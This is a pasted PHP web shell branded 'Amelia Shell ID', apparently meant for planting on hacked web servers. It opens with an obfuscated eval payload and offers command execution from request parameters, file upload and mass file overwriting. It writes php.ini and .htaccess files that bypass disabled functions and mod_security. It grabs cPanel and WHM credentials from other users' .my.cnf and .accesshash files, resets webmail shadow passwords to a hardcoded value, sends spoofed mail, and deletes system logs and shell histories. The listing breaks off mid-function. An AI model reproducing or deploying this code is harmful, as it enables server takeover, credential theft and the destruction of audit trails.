SHARE
TWEET

Untitled

a guest Sep 19th, 2019 211 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. error_reporting(0);
  3.  ini_set('max_execution_time',0);
  4.  session_start();  eval(str_rot13(gzinflate(str_rot13(base64_decode('nUVdYoIwFP0rd4jShDiQD7eQPuBFKPtlw3aicyFgADcnlhrZcfG/76IPM1GXcn11e9t77zk9p8JTwas05obmdJyFGRdbrGOX2dAN7mH0cguZ62zAkjwMd5Esoi+BaGOR+EQacaIi74fU0bqqpmpIUNNIcQqZitk82vpskCcixB9NFSEdEpk9ha/jN4wBIV+LbBzzURR82yOuVKaVfHtAKB1ZIPcFNZt/yKpKEUqd+6KFgP4ZMsOJMX6/LMns9tyBWjgDT5kqPUUy7l07PiwSlLd/h78aOYpSgU+7ZX1reBv0UOY5COI5lEsObLDsgVSkJJpm0O9GP+jJF5yV6YejOIn8iM+2KeNv46L0cteQzmSjsnLbYZ/eym3fobSUVYImJzr9txF0m7AGO5Mv8sTcgaX1H0J6e9SzplKmi09xgIfoyPF0z5kKG6U09ijCGHOEQRTjRRWTYnC+/5DmNw==')))));
  5.     ?>
  6. <html>
  7.     <head>
  8.         <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css" />
  9.  
  10.         <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/4.0.6/sweetalert2.min.css" />
  11.  
  12.         <meta name="viewport" content="width=device-width, initial-scale=4, maximum-scale=0.6, user-scalable=no" />
  13.  
  14.         <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous" />
  15.  
  16.         <meta name="theme-color" content="#263238" />
  17.  
  18.         <meta name="msapplication-navbutton-color" content="#263238" />
  19.  
  20.         <style>
  21. @import url('https://fonts.googleapis.com/css?family=Abel|Didact+Gothic|Dosis|Monda|PT+Sans+Caption|Shadows+Into+Light|New+Rocker');       
  22.    body{
  23.    background:#263238;
  24.    color:#FFFFFF;
  25.    font-family:'Didact Gothic',sans-serif;
  26.    font-size:17;
  27.    }
  28. input[type=submit] {
  29.  background:#F44336;
  30.  color:white;
  31.  margin:0 10px;
  32.   height:27px;
  33.  width: 80px;
  34.   border-radius:35px;
  35.   font-size:17;
  36.  border:none;
  37. }  
  38. input[type=submit]:hover {
  39.   background:#D32F2F;
  40.   color:white;
  41.   margin:0 10px;
  42.   height:27px;
  43.   width: 80px;
  44.   border-radius:35px;
  45.   font-size:17;
  46.   border:none;
  47.   }
  48. input[type=text], option, select {
  49.   padding:3px 3px 3px;
  50.   border:1px solid #455A64;
  51.   height:27px;
  52.   border-radius:40px;
  53.   background:#263238;
  54.   color:#FFFFFF;
  55. }  
  56. input[type=text]:hover{
  57.   padding:3px 3px 3px;
  58.   border:none;
  59.   height:27px;
  60.   background:#263238;
  61.   color:#FFFFFF;
  62.  
  63. }  
  64. input[type=email]{
  65.   padding:4px 4px 4px 4px;
  66.   border:none;
  67.   height:29px;
  68.   border-radius:40px;
  69.   background:#263238;
  70.   color:lime;
  71.  
  72. }
  73.  .bulat {
  74.   width : 17px ;
  75.   height : 17px ;
  76.   border-radius : 50% ;
  77.   float : left ;
  78.   margin : 14px 4px;
  79.   border:none;
  80. }
  81. .a {
  82.   background : #FF0000 ;
  83. }
  84. .b{
  85.   background :#FFF400;
  86. }
  87. .c{
  88.   background : #00FF21 ;
  89. }
  90. .d{
  91.  background:#FF0000;
  92. }
  93. .e{
  94. background:lime;
  95. }
  96. .f{
  97. background:yellow;
  98. }
  99. .head {
  100.   width :100%;
  101.   margin :0;
  102.   background:#37474F;
  103.   border-radius:15px;
  104.   height:40px;
  105.   display : relative ;
  106.   }
  107. .headtxt {
  108.     color :white;
  109.     font-weight: bold ;
  110.     font-family:'Monda',sans-serif;
  111.     text-align:left;
  112.     padding : 12px;
  113. }  
  114.   a{
  115.   text-decoration:none;
  116.   color:white;
  117. }
  118. p{
  119. color:#FFFFFF;
  120. font-size:17;
  121. font-family:'Didact Gothic',sans-serif;
  122. }
  123. placeholder{
  124. color:white;
  125. }
  126. textarea{
  127. background:#37474F;
  128. color:#FFFFFF;
  129. width:400px;
  130. height:250px;
  131. }
  132. .fa-heart{
  133. color:#FF0000;
  134. }
  135. .fa-folder-open{
  136. color:#FFF400;
  137. }
  138. .fa-trash-alt{
  139. color:#FF0000;
  140. }
  141. .fa-file-code{
  142. color:#00F4FF;
  143. }
  144.  
  145.         </style>
  146.     </head>
  147.     <body translate="no" id="body" class="gelap">
  148.         <div class="head">
  149.             <button class="bulat a" onclick="about();" id="btn"></button>
  150.             <button class="bulat b" onclick="kon()"></button>
  151.             <button class="bulat c" onclick="Apsi()"></button>
  152.             <div class="headtxt">
  153.                 root@arveyid
  154.  
  155.                 <i class="fas fa-heart" onclick="asu()"></i>
  156.             </div>
  157.         </div>
  158.         <script src="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/4.0.6/sweetalert2.min.js"></script>
  159.         <script id="rendered-js">
  160. function about() {
  161.   swal({
  162.     background:'#263238',
  163.     html: "<center><img src='https://i.postimg.cc/Px33j7JC/symbols-41380-640.png'width='120px'height='120px'><br><br ><font color='lime'face='Monda'><b>Amelia Shell ID<br><font color='#FFF'>Gimana mau kalem kalau rasanya dalem ?<br>thanks to:<br>Restu ID - Con7ext - IndoXploit - 3xp1r3 Pr1nc3</b>",
  164.     showCancelButton:false,
  165.     showConfirmButton:false,
  166.     showCloseButton:true,
  167.   })
  168.   };
  169. function asu() {
  170.   swal({
  171.     title: 'Tools',
  172.     background:'#263238',
  173.     html: "<form method=post><input type=submit name=whmx value='Whm crk'><input type=submit name=logs value='Dllogs'/><input type=submit name=cpx value='Cp Grab'/><br><br><input type=submit name=asu value='Webmail'/></form>",
  174.     showCancelButton:false,
  175.     showConfirmButton:false,
  176.     showCloseButton:true,
  177.   })
  178.   };
  179. function kon() {
  180.   swal({
  181.     title: 'Bypass DF',
  182.     background:'#263238',
  183.     html: "<form method=post><input type=submit name=ini value='php.ini'/><input type=submit name=htce value='htaccess'/><input type=submit name=litini value='Litespd'/></form>",
  184.     showCancelButton:false,
  185.     showConfirmButton:false,
  186.     showCloseButton:true,
  187.   })
  188.   };
  189.  
  190.         </script>
  191.         <script id="rendered-js">
  192. function Apsi() {
  193.   swal({
  194.     title: 'Mail Test',
  195.     background:'#FFFFFF',
  196.     html: '<form method="post">Mymail:<input type="email"autocomplete="off"name="email"placeholder="Your email"><br><br>Sender:<input type="email"autocomplete="off"name="sender"placeholder="mail@example.com"><br><br>Name :  <input type="text"name="name"placeholder="Sarah Olivia"><br><br>Subject<input type="text"name="subject"autocomplete="off"placeholder="Gak kamu ga UwU"><br><br><textarea rows=10 cols=30 name=content></textarea><br><br><input type="submit"class="but"value=">>"></form>',
  197.     focusConfirm: false,
  198.     showCancelButton:false,
  199.     showConfirmButton:false,
  200.     showCloseButton:true,
  201.   })
  202.   };  
  203.  
  204.         </script>
  205.     </body>
  206. </html>
  207. <?php
  208. function w($dir,$perm) {
  209.     if(!is_writable($dir)) {
  210.         return "<font color=red>".$perm."</font>";
  211.     } else {
  212.         return "<font color=green>".$perm."</font>";
  213.     }
  214. }
  215. function exe($cmd) {
  216.     if(function_exists('system')) {        
  217.         @ob_start();       
  218.         @system($cmd);     
  219.         $buff = @ob_get_contents();        
  220.         @ob_end_clean();       
  221.         return $buff;  
  222.     } elseif(function_exists('exec')) {        
  223.         @exec($cmd,$results);      
  224.         $buff = "";        
  225.         foreach($results as $result) {         
  226.             $buff .= $result;      
  227.         } return $buff;    
  228.     } elseif(function_exists('passthru')) {        
  229.         @ob_start();       
  230.         @passthru($cmd);       
  231.         $buff = @ob_get_contents();        
  232.         @ob_end_clean();       
  233.         return $buff;  
  234.     } elseif(function_exists('shell_exec')) {      
  235.         $buff = @shell_exec($cmd);     
  236.         return $buff;  
  237.     }
  238. }
  239. function sulap($text) {
  240.   if(!get_magic_quotes_gpc()) {
  241.     return $text;
  242.     }
  243.   return stripslashes($text);
  244. }
  245. function showdisablefunctions() {
  246.     if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
  247.     else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
  248. }
  249. function ambilKata($param, $kata1, $kata2){
  250.     if(strpos($param, $kata1) === FALSE) return FALSE;
  251.     if(strpos($param, $kata2) === FALSE) return FALSE;
  252.     $start = strpos($param, $kata1) + strlen($kata1);
  253.     $end = strpos($param, $kata2, $start);
  254.     $return = substr($param, $start, $end - $start);
  255.     return $return;
  256. }
  257. function perms($file){
  258. $perms = fileperms($file);
  259. if (($perms & 0xC000) == 0xC000) {
  260. // Socket
  261. $info = 's';
  262. } elseif (($perms & 0xA000) == 0xA000) {
  263. // Symbolic Link
  264. $info = 'l';
  265. } elseif (($perms & 0x8000) == 0x8000) {
  266. // Regular
  267. $info = '-';
  268. } elseif (($perms & 0x6000) == 0x6000) {
  269. // Block special
  270. $info = 'b';
  271. } elseif (($perms & 0x4000) == 0x4000) {
  272. // Directory
  273. $info = 'd';
  274. } elseif (($perms & 0x2000) == 0x2000) {
  275. // Character special
  276. $info = 'c';
  277. } elseif (($perms & 0x1000) == 0x1000) {
  278. // FIFO pipe
  279. $info = 'p';
  280. } else {
  281. // Unknown
  282. $info = 'u';
  283. }
  284.  
  285. // Owner
  286. $info .= (($perms & 0x0100) ? 'r' : '-');
  287. $info .= (($perms & 0x0080) ? 'w' : '-');
  288. $info .= (($perms & 0x0040) ?
  289. (($perms & 0x0800) ? 's' : 'x' ) :
  290. (($perms & 0x0800) ? 'S' : '-'));
  291.  
  292. // Group
  293. $info .= (($perms & 0x0020) ? 'r' : '-');
  294. $info .= (($perms & 0x0010) ? 'w' : '-');
  295. $info .= (($perms & 0x0008) ?
  296. (($perms & 0x0400) ? 's' : 'x' ) :
  297. (($perms & 0x0400) ? 'S' : '-'));
  298.  
  299. // World
  300. $info .= (($perms & 0x0004) ? 'r' : '-');
  301. $info .= (($perms & 0x0002) ? 'w' : '-');
  302. $info .= (($perms & 0x0001) ?
  303. (($perms & 0x0200) ? 't' : 'x' ) :
  304. (($perms & 0x0200) ? 'T' : '-'));
  305.  
  306. return $info;
  307. }
  308. $getds = @ini_get("disable_functions");
  309. $ds = showdisablefunctions().' <font color=white>on</font> <font color=teal>'.php_sapi_name().'</font>';
  310. $mysql = (function_exists('mysql_connect')) ? "<font color=#6fcb9f>ON</font>" : "<font color=#FF0000>OFF</font>";
  311. $curl = (function_exists('curl_version')) ? "<font color=#6fcb9f>ON</font>" : "<font color=#FF0000>OFF</font>";
  312. $wget = (exe('wget --help')) ? "<font color=#6fcb9f>ON</font>" : "<font color=#FF0000>OFF</font>";
  313. $perl = (exe('perl --help')) ? "<font color=#6fcb9f>ON</font>" : "<font color=#FF0000>OFF</font>";
  314. $python = (exe('python --help')) ? "<font color=#6fcb9f>ON</font>" : "<font color=#FF0000>OFF</font>";
  315. if(isset($_GET['path'])){
  316. $path = $_GET['path'];
  317. }else{
  318. $path = getcwd();
  319. }
  320. $path = str_replace('\\','/',$path);
  321. $paths = explode('/',$path);
  322. if(get_magic_quotes_gpc()){
  323. foreach($_POST as $key=>$value){
  324. $_POST[$key] = stripslashes($value);
  325. }
  326. }
  327. echo "<center><br>
  328.     <form method='post' enctype='multipart/form-data'>
  329.     <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($path,"Writeable")." ]
  330.     <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
  331.     <input type='file' name='ix_file'>
  332.     <input type='submit' value='upload' name='upload'>
  333.     </form></center>";
  334.     echo "".$act."";
  335. $col="<font color='#F44336'>";
  336. echo"<p>$col <b>Hostname</b>
  337. :</font>".php_uname();
  338. if(!function_exists('posix_getegid')) {
  339.     $user = @get_current_user();
  340.     $uid = @getmyuid();
  341.     $gid = @getmygid();
  342.     $group = "?";
  343. } else {
  344.     $uid = @posix_getpwuid(posix_geteuid());
  345.     $gid = @posix_getgrgid(posix_getegid());
  346.     $user = $uid['name'];
  347.     $uid = $uid['uid'];
  348.     $group = $gid['name'];
  349.     $gid = $gid['gid'];
  350. }
  351. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=#FFFFFF>None</font>";
  352. echo"$col <br> <b>Server IP :</b></font>".gethostbyname($_SERVER['HTTP_HOST']);
  353. echo "<br>$col <b>User</font> :</b>".$user." (".$uid.") Group: ".$group." (".$gid.")";
  354. echo "<br>$col<b> Disable :</b></font> $show_ds<br>";
  355. echo"MySQL : ".$mysql." | Perl : ".$perl." | Python : ".$python." | WGET : ".$wget." | CURL : ".$curl."<br>";
  356. echo"<b><a href='?path=$path&file=asu'>FILEMANAGER:<i class='fas fa-folder-open'></i></a></b></font>";
  357. foreach($paths as $id=>$pat){
  358. if($pat == '' && $id == 0){
  359. $a = true;
  360. echo '<a href="?path=/">/</a>';
  361. continue;
  362. }
  363. if($pat == '') continue;
  364. echo '<a href="?path=';
  365. for($i=0;$i<=$id;$i++){
  366. echo "$paths[$i]";
  367. if($i != $id) echo "/";
  368. }
  369. echo '">'.$pat.'</a>/';
  370. }
  371. echo"<b><a href='?path=$path&go=ngindex'><input type='submit'value='MASS'></a>";
  372. if($_POST['upload']) {
  373.         if($_POST['tipe_upload'] == 'biasa') {
  374.             if(@copy($_FILES['ix_file']['tmp_name'], "$path/".$_FILES['ix_file']['name']."")) {
  375.                 $act = "<font color=green>Uploaded!</font> at <i><b>$path/".$_FILES['ix_file']['name']."</b></i>";
  376.             } else {
  377.                 $act = "<font color=red>Failed to upload file</font>";
  378.             }
  379.         } else {
  380.             $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  381.             $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  382.             if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  383.                 if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  384.                     $act = "<font color=green>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  385.                 } else {
  386.                     $act = "<font color=red>Failed to upload file</font>";
  387.                 }
  388.             } else {
  389.                 $act = "<font color=red>Failed to upload file</font>";
  390.             }
  391.         }
  392.     }
  393. echo "<form method='post'>
  394. " .$user." ~ <input type='text'name='cmd'autocomplete='off'><input type='submit'value='>>'><br><p align='left'?><pre>";
  395. $cmd = $_REQUEST["cmd"];
  396. if($cmd != "") print shell_exec($cmd);
  397. echo"</pre>";
  398.     if(isset($_POST['ini']))
  399. {
  400.  
  401.     $file = fopen("php.ini","w");
  402.     echo"<center>". fwrite($file,"disable_functions=none
  403. safe_mode = Off
  404.   ");
  405.     fclose($file);
  406.     echo "<a href='php.ini'>click here!</a>";
  407. }   if(isset($_POST['htce']))
  408. {    
  409. echo"<center>";
  410.     $file = fopen(".htaccess","w");
  411.     echo fwrite($file,"<IfModule mod_security.c>
  412. SecFilterEngine Off
  413. SecFilterScanPOST Off
  414. </IfModule>
  415.   ");
  416.     fclose($file);
  417.     echo"htaccess successfully created!";
  418. }              
  419.  if(isset($_POST['litini'])){
  420.     $iniph = '<? n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["file"]); n ini_restore("safe_mode"); n ini_restore("open_basedir"); n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["ss"]; n ?>';
  421.        $byph = "safe_mode = Off n disable_functions= ";
  422.     $comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";
  423.     file_put_contents("php.ini",base64_decode($byph));
  424.     file_put_contents("ini.php",base64_decode($iniph));
  425.     file_put_contents(".htaccess",base64_decode($comp));
  426.     echo "<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>";
  427.     echo"</center>";
  428. }
  429. $email = $_POST['email'];
  430. $content = $_POST['content'];
  431. $name = $_POST['name'];
  432. $sender = $_POST['sender'];
  433.  
  434. $subject = $_POST['subject'];
  435.  
  436. $headers = "From: $name "."<".$sender.">\r\n";
  437. mail($email, $subject, $content, $headers );
  438.  
  439. if(isset($_POST['whmx'])){
  440. $whmx=$_POST['whmx'];
  441. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  442.     $ar0=explode($marqueurDebutLien, $text);
  443.     $ar1=explode($marqueurFinLien, $ar0[$i]);
  444.     return trim($ar1[0]);
  445. }
  446.  
  447.  
  448. echo "<center>";
  449. $d0mains = @file('/etc/named.conf');
  450. $domains = scandir("/var/named");
  451.  
  452. if ($domains or $d0mains)
  453. {
  454.     $domains = scandir("/var/named");
  455.     if($domains) {
  456. echo "<table align='center'><tr><th> COUNT </th><th> USER </th><th> | </th><th> Access Hash </th><th> .MY.CNF </th></tr>";
  457. $count=1;
  458. $dc = 0;
  459. $list = scandir("/var/named");
  460. foreach($list as $domain){
  461. if(strpos($domain,".db")){
  462. $domain = str_replace('.db','',$domain);
  463. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  464. $dirz = '/home/'.$owner['name'].'/.accesshash';
  465. $dirz1 = '/home/'.$owner['name'].'/.my.cnf';
  466. $path = getcwd();
  467.  
  468. if (is_readable($dirz) && (dirz1)) {
  469. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  470. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  471. $password=entre2v2($p,'password="','"');
  472. echo "<tr><td>".$count++."</td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  473. $dc++;
  474. }
  475.  
  476. }
  477. }
  478. echo '</table>';
  479. $total = $dc;
  480. echo '<br><div class="result">Whm Crack = '.$total.'</h3><br />';
  481. echo '</center>';
  482. }else{
  483. echo "No WHM";}
  484. }else{
  485. echo"<center><br>";
  486. echo "<i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  487. }  
  488. }
  489. if(isset($_POST['asu'])){    
  490. function smtp() {
  491.     $usr=get_current_user();
  492.     $pass="arveyhaxor";
  493.     $pwd=crypt($pass,'$6$roottn$');
  494.     $maindir="/home/".$usr."/etc/";
  495.     chdir($maindir);
  496.     $dir=scandir($maindir);
  497.     foreach($dir as $dirs) {
  498.       if($dirs!="." && $dirs!="..") {
  499.         chdir($dirs);
  500.         if(is_readable(shadow)) {
  501.           link("shadow","shadow.bak3x");
  502.           $get=file_get_contents("shadow");
  503.           $email=explode(":",$get);
  504.           $mailname=$email[0];
  505.           unlink("shadow");
  506.           $file=fopen("shadow","a");
  507.           fwrite($file,$mailname.":".$pwd.":16249:::::"."\r\nl");
  508.           fclose($file);
  509.           echo"<pre>WEBMAIL:<font color='lime'>".$mailname."@".$dirs."</font>:<font color='lime'>".$pass."<br /></pre></font>";
  510.           chdir("..");
  511.         }
  512.       }
  513.     }
  514. }
  515. smtp();
  516.             }
  517. if(isset($_POST['logs'])){
  518. $logs=$_POST['logs'];
  519. echo '<br><center><b><span>Delete Logs ( For Safe )</span></b><center><br>';
  520.     echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";      
  521.     exec("rm -rf /tmp/logs");
  522.     exec("rm -rf /root/.ksh_history");
  523.     exec("rm -rf /root/.bash_history");
  524.     exec("rm -rf /root/.bash_logout");
  525.     exec("rm -rf /usr/local/apache/logs");
  526.     exec("rm -rf /usr/local/apache/log");
  527.     exec("rm -rf /var/apache/logs");
  528.     exec("rm -rf /var/apache/log");
  529.     exec("rm -rf /var/run/utmp");
  530.     exec("rm -rf /var/logs");
  531.     exec("rm -rf /var/log");
  532.     exec("rm -rf /var/adm");
  533.     exec("rm -rf /etc/wtmp");
  534.     exec("rm -rf /etc/utmp");
  535.     exec("rm -rf $HISTFILE");
  536.     exec("rm -rf /var/log/lastlog");
  537.     exec("rm -rf /var/log/wtmp");
  538.  
  539.     shell_exec("rm -rf /tmp/logs");
  540.     shell_exec("rm -rf /root/.ksh_history");
  541.     shell_exec("rm -rf /root/.bash_history");
  542.     shell_exec("rm -rf /root/.bash_logout");
  543.     shell_exec("rm -rf /usr/local/apache/logs");
  544.     shell_exec("rm -rf /usr/local/apache/log");
  545.     shell_exec("rm -rf /var/apache/logs");
  546.     shell_exec("rm -rf /var/apache/log");
  547.     shell_exec("rm -rf /var/run/utmp");
  548.     shell_exec("rm -rf /var/logs");
  549.     shell_exec("rm -rf /var/log");
  550.     shell_exec("rm -rf /var/adm");
  551.     shell_exec("rm -rf /etc/wtmp");
  552.     shell_exec("rm -rf /etc/utmp");
  553.     shell_exec("rm -rf $HISTFILE");
  554.     shell_exec("rm -rf /var/log/lastlog");
  555.     shell_exec("rm -rf /var/log/wtmp");
  556.  
  557.     passthru("rm -rf /tmp/logs");
  558.     passthru("rm -rf /root/.ksh_history");
  559.     passthru("rm -rf /root/.bash_history");
  560.     passthru("rm -rf /root/.bash_logout");
  561.     passthru("rm -rf /usr/local/apache/logs");
  562.     passthru("rm -rf /usr/local/apache/log");
  563.     passthru("rm -rf /var/apache/logs");
  564.     passthru("rm -rf /var/apache/log");
  565.     passthru("rm -rf /var/run/utmp");
  566.     passthru("rm -rf /var/logs");
  567.     passthru("rm -rf /var/log");
  568.     passthru("rm -rf /var/adm");
  569.     passthru("rm -rf /etc/wtmp");
  570.     passthru("rm -rf /etc/utmp");
  571.     passthru("rm -rf $HISTFILE");
  572.     passthru("rm -rf /var/log/lastlog");
  573.     passthru("rm -rf /var/log/wtmp");
  574.  
  575.  
  576.     system("rm -rf /tmp/logs");
  577.     sleep(2);
  578.     echo'<br>Deleting .../tmp/logs ';
  579.     sleep(2);
  580.  
  581.     system("rm -rf /root/.bash_history");
  582.     sleep(2);
  583.     echo'<p>Deleting .../root/.bash_history </p>';
  584.  
  585.     system("rm -rf /root/.ksh_history");
  586.     sleep(2);
  587.     echo'<p>Deleting .../root/.ksh_history </p>';
  588.  
  589.     system("rm -rf /root/.bash_logout");
  590.     sleep(2);
  591.     echo'<p>Deleting .../root/.bash_logout </p>';
  592.  
  593.     system("rm -rf /usr/local/apache/logs");
  594.     sleep(2);
  595.     echo'<p>Deleting .../usr/local/apache/logs </p>';
  596.  
  597.     system("rm -rf /usr/local/apache/log");
  598.     sleep(2);
  599.     echo'<p>Deleting .../usr/local/apache/log </p>';
  600.  
  601.     system("rm -rf /var/apache/logs");
  602.     sleep(2);
  603.     echo'<p>Deleting .../var/apache/logs </p>';
  604.  
  605.     system("rm -rf /var/apache/log");
  606.     sleep(2);
  607.     echo'<p>Deleting .../var/apache/log </p>';
  608.  
  609.     system("rm -rf /var/run/utmp");
  610.     sleep(2);
  611.     echo'<p>Deleting .../var/run/utmp </p>';
  612.  
  613.     system("rm -rf /var/logs");
  614.     sleep(2);
  615.     echo'<p>Deleting .../var/logs </p>';
  616.  
  617.     system("rm -rf /var/log");
  618.     sleep(2);
  619.     echo'<p>Deleting .../var/log </p>';
  620.  
  621.     system("rm -rf /var/adm");
  622.     sleep(2);
  623.     echo'<p>Deleting .../var/adm </p>';
  624.  
  625.     system("rm -rf /etc/wtmp");
  626.     sleep(2);
  627.     echo'<p>Deleting .../etc/wtmp </p>';
  628.  
  629.     system("rm -rf /etc/utmp");
  630.     sleep(2);
  631.     echo'<p>Deleting .../etc/utmp </p>';
  632.  
  633.     system("rm -rf $HISTFILE");
  634.     sleep(2);
  635.     echo'<p>Deleting ...$HISTFILE </p>';
  636.  
  637.     system("rm -rf /var/log/lastlog");
  638.     sleep(2);
  639.     echo'<p>Deleting .../var/log/lastlog </p>';
  640.  
  641.     system("rm -rf /var/log/wtmp");
  642.     sleep(2);
  643.     echo'<p>Deleting .../var/log/wtmp </p>';
  644.  
  645.     sleep(4);
  646.  
  647.     echo '<br><br><p>Your Traces Has Been Successfully Deleting ...From the Server';
  648.     echo"</td></tr></table>";
  649.     }
  650.     if(isset($_POST['cpx'])){
  651. $cpx=$_POST['cpx'];
  652. @ini_set('display_errors',0);
  653. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  654.     $ar0=explode($marqueurDebutLien, $text);
  655.     $ar1=explode($marqueurFinLien, $ar0[$i]);
  656.     return trim($ar1[0]);
  657. }
  658.  
  659. echo "<center>";
  660. $d0mains = @file('/etc/named.conf');
  661. $domains = scandir("/var/named");
  662.  
  663. if ($domains or $d0mains)
  664. {
  665.     $domains = scandir("/var/named");
  666.     if($domains) {
  667. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  668. $count=1;
  669. $dc = 0;
  670. $list = scandir("/var/named");
  671. foreach($list as $domain){
  672. if(strpos($domain,".db")){
  673. $domain = str_replace('.db','',$domain);
  674. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  675. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  676. $path = getcwd();
  677.  
  678. if (is_readable($dirz)) {
  679. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  680. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  681. $password=entre2v2($p,'password="','"');
  682. echo "<tr><td>".$count++."$l</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  683. $dc++;
  684. }
  685.  
  686. }
  687. }
  688. echo '</table>';
  689. $total = $dc;
  690. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  691. echo '</center>';
  692. }else{
  693. $d0mains = @file('/etc/named.conf');
  694.     if($d0mains) {
  695. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  696. $count=1;
  697. $dc = 0;
  698. $mck = array();
  699. foreach($d0mains as $d0main){
  700.     if(@eregi('zone',$d0main)){
  701.         preg_match_all('#zone "(.*)"#',$d0main,$domain);
  702.         flush();
  703.         if(strlen(trim($domain[1][0])) >2){
  704.             $mck[] = $domain[1][0];
  705.         }
  706.     }
  707. }
  708. $mck = array_unique($mck);
  709. $usr = array();
  710. $dmn = array();
  711. foreach($mck as $o) {
  712.     $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  713.     $usr[] = $infos['name'];
  714.     $dmn[] = $o;
  715. }
  716. array_multisort($usr,$dmn);
  717. $dt = file('/etc/passwd');
  718. $passwd = array();
  719. foreach($dt as $d) {
  720.     $r = explode(':',$d);
  721.     if(strpos($r[5],'home')) {
  722.         $passwd[$r[0]] = $r[5];
  723.     }
  724. }
  725. $l=0;
  726. $j=1;
  727. foreach($usr as $r) {
  728. $dirz = '/home/'.$r.'/.my.cnf';
  729. $path = getcwd();
  730. if (is_readable($dirz)) {
  731. copy($dirz, ''.$path.'/'.$r.'.txt');
  732. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  733. $password=entre2v2($p,'password="','"');
  734. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  735. $dc++;
  736.                 flush();
  737.                 $l=$l?0:1;
  738.                 $j++;
  739.                 }
  740.             }
  741.             }
  742. echo '</table>';
  743. $total = $dc;
  744. echo '<br><div class="result">cpanel= '.$total.'</h3><br />';
  745. echo '</center>';
  746.  
  747. }
  748. }else{
  749. echo "<br><i><font color='#FF0000'>ERROR !</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  750. }
  751. } elseif($_GET['kon'] == 'tol') {
  752.     if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  753.             die('<center><center><img src="https://i.postimg.cc/Px33j7JC/symbols-41380-640.png"width="120px"height="120px"><br><br ><h2>Shell removed !!</h2><br>Gimana mau kalem kalau rasanya dalem</center>');
  754.         else
  755.             echo '<center>unlink failed!</center>';
  756. } elseif($_GET['go'] == 'ngindex') {
  757.     echo "<center><form action=\"\" method=\"post\">\n";
  758.     $dirr=$_POST['d_dir'];
  759.     $index = $_POST["script"];
  760.     $index = str_replace('"',"'",$index);
  761.     $index = stripslashes($index);
  762.     function edit_file($file,$index){
  763.         if (is_writable($file)) {
  764.         clear_fill($file,$index);
  765.         echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
  766.         }
  767.         else {
  768.             echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
  769.             }
  770.             }
  771.     function hapus_massal($dir,$namafile) {
  772.         if(is_writable($dir)) {
  773.             $dira = scandir($dir);
  774.             foreach($dira as $dirb) {
  775.                 $dirc = "$dir/$dirb";
  776.                 $lokasi = $dirc.'/'.$namafile;
  777.                 if($dirb === '.') {
  778.                     if(file_exists("$dir/$namafile")) {
  779.                         unlink("$dir/$namafile");
  780.                     }
  781.                 } elseif($dirb === '..') {
  782.                     if(file_exists("".dirname($dir)."/$namafile")) {
  783.                         unlink("".dirname($dir)."/$namafile");
  784.                     }
  785.                 } else {
  786.                     if(is_dir($dirc)) {
  787.                         if(is_writable($dirc)) {
  788.                             if(file_exists($lokasi)) {
  789.                                 echo "<font color=lime>></font> $lokasi<br>";
